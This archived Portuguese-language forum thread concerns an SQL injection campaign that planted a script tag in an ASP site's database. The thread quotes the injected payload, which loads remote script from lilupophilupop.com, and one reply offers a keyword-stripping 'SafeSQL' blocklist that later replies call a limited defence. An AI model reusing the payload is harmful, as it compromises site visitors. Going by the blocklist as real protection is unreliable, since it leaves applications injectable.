Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Creedence

Injeção de SQL direciona site

Recommended Posts

Boa tarde,

 

Tivemos um problema com um injeção de sql em nosso banco de dados que inseriu a string abaixo em alguns campos das tabelas:

 

"></title><script src="http://lilupophilupop.com/sl.php"></script>

 

Pesquisando no Google, são vários os sites com esse problema e num site sobre segurança diz que é uma nova campanha SQLI (SQL Injection).

 

Eu sei que esse problema se deve principalmente a paginas que não tratam corretamente os parâmetros passados por links ou formulários. Ou seja, estamos revendo nossas paginas.

 

O que eu gostaria de saber é como isso se propaga para outros dominios quando alguem acessa meu site que está com esse script.

 

Obrigado,

 

Creedence

Compartilhar este post


Link para o post
Compartilhar em outros sites

Olá!

 

Eu acho que as pessoas que acessam o fórum da linguagem em que seu site é programado vão poder te ajudar melhor. Por exemplo, se seu site for feito em PHP, talvez valha a pena que eu mova esse tópico para a seção de php (que é o que parece, já que foi inserido um script em php no seu site).

 

Então, qual é a linguagem em que seu site é programado?

 

 

 

Abraços :D

Compartilhar este post


Link para o post
Compartilhar em outros sites

Renato, boa tarde !

Pode mover para o forum de ASP por favor. O codigo adicionado em meu banco de dados direciona para uma pagina em php mas nossas paginas são desenvolvidas em ASP.

 

Obrigado,

 

Creedence

Compartilhar este post


Link para o post
Compartilhar em outros sites

olha sempre uso essa função, muito boa....

 

Function SafeSQL(sInput)
 TempString = sInput
 'sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", "#", "%", "&", "'", "(", ")", "/", "\", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|") 
 sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", "#", "%", "&", "'", "(", ")", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|") 
 For iCounter = 0 to uBound(sBadChars)
   TempString = replace(TempString,sBadChars(iCounter),"")
 Next
 SafeSQL = TempString
End function

Compartilhar este post


Link para o post
Compartilhar em outros sites

Normalmente não há "propagação" ao ser visitada a sua página, a não ser que o script redirecionado use a visita como "start" para novas varreduras.

 

No seu caso muito provavelmente um "bot" achou seu site e nele encontrou um FORM com campos com nomes "padrão" e sem proteção contra bots. É simples se proteger disso, dê uma pesquisada aqui mesmo por SQLInjection, existem diversas indicações de tratamento. E proteja seu form usando, preferencialmente os sistemas de Captcha que ajudam um pouco nos casos de bots.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Legal ...

 

Em primeiro lugar gostaria de agradecer as dicas e comentários. Estou dando uma geral nas paginas e tenho algumas que recebem parametros sem validaçao alguma, o que pode ter servido de brecha para essa tal SQLI.

Eu gostaria de apenas reforçar uma duvida: Os parametros devem ser tratados independente do modo como são passados (get ou post) correto ?

Quando eu utilizo uma função (tipo postada por xanburzum ) eu estou limpando por exemplo o que vem como "drop", "insert", etc ... , bem como alguns caracteres como virgula, traço, ponto de interrogação ...

Se eu utilizar essa função pra todo form que eu envio, quando cadastro um cep por exemplo (01000-000) ele vai tirar o traço, certo ? Ou quando cadastro uma noticia (entrevista) onde a pergunta tem o ponto de interrogação no final, esse também será removido.

Se na função eu tratar apenas as palavras utilizadas numa sintaxe SQL (update, insert, etc ...) já não adiantaria ?

 

Mais uma vez obrigado e feliz ano novo a todos,

 

Creedence

 

Pessoal,

Após postar minha ultima duvida, vi nas DiCAS, um texto que falava sobre esse assunto, tocando inclusive na questão de "eliminar" ponto de interrogação ou algum outro caractere sem necessidade.

Pelo informado naquele texto, bastaria apenas trocar aspas simples por duplas pelo replace que já era uma solução.

Caso alguem queira complementar, fique à vontade.

Obrigado,

Creedence

Compartilhar este post


Link para o post
Compartilhar em outros sites

o que você pode fazer é tipo tendo um campo CEP, neste você pode fazer um tratamento diferente, pegando apenas o cep

Compartilhar este post


Link para o post
Compartilhar em outros sites
Pessoal,

Após postar minha ultima duvida, vi nas DiCAS, um texto que falava sobre esse assunto, tocando inclusive na questão de "eliminar" ponto de interrogação ou algum outro caractere sem necessidade.

Pelo informado naquele texto, bastaria apenas trocar aspas simples por duplas pelo replace que já era uma solução.

Caso alguem queira complementar, fique à vontade.

Obrigado,

Creedence

SQL Injection muitas vezes geram discussões enormes.

 

Basicamente o tratamento é a validação de toda e qualquer entrada de usuário ou que venha do browser que interaja com seu banco de dados. Campos numéricos DEVEM receber apenas números, campos do tipo texto devem ter as plicas (aspas simples) tratadas (duplicadas), campos de Data DEVEM receber apenas datas válidas e assim por diante.

 

Retirar os textos "INSERT", "DROP TABLE", "DELETE" e comandos afins da "linguagem" SQL é uma forma limitada.

 

 

Imagine o iMasters se essas palavras fossem proibidas?

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

dependendo de onde vier os textos "INSERT", "DROP TABLE", "DELETE" e comandos afins da "linguagem" SQL vcê pode ou não permitir , como citado pelo amigo acima.

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.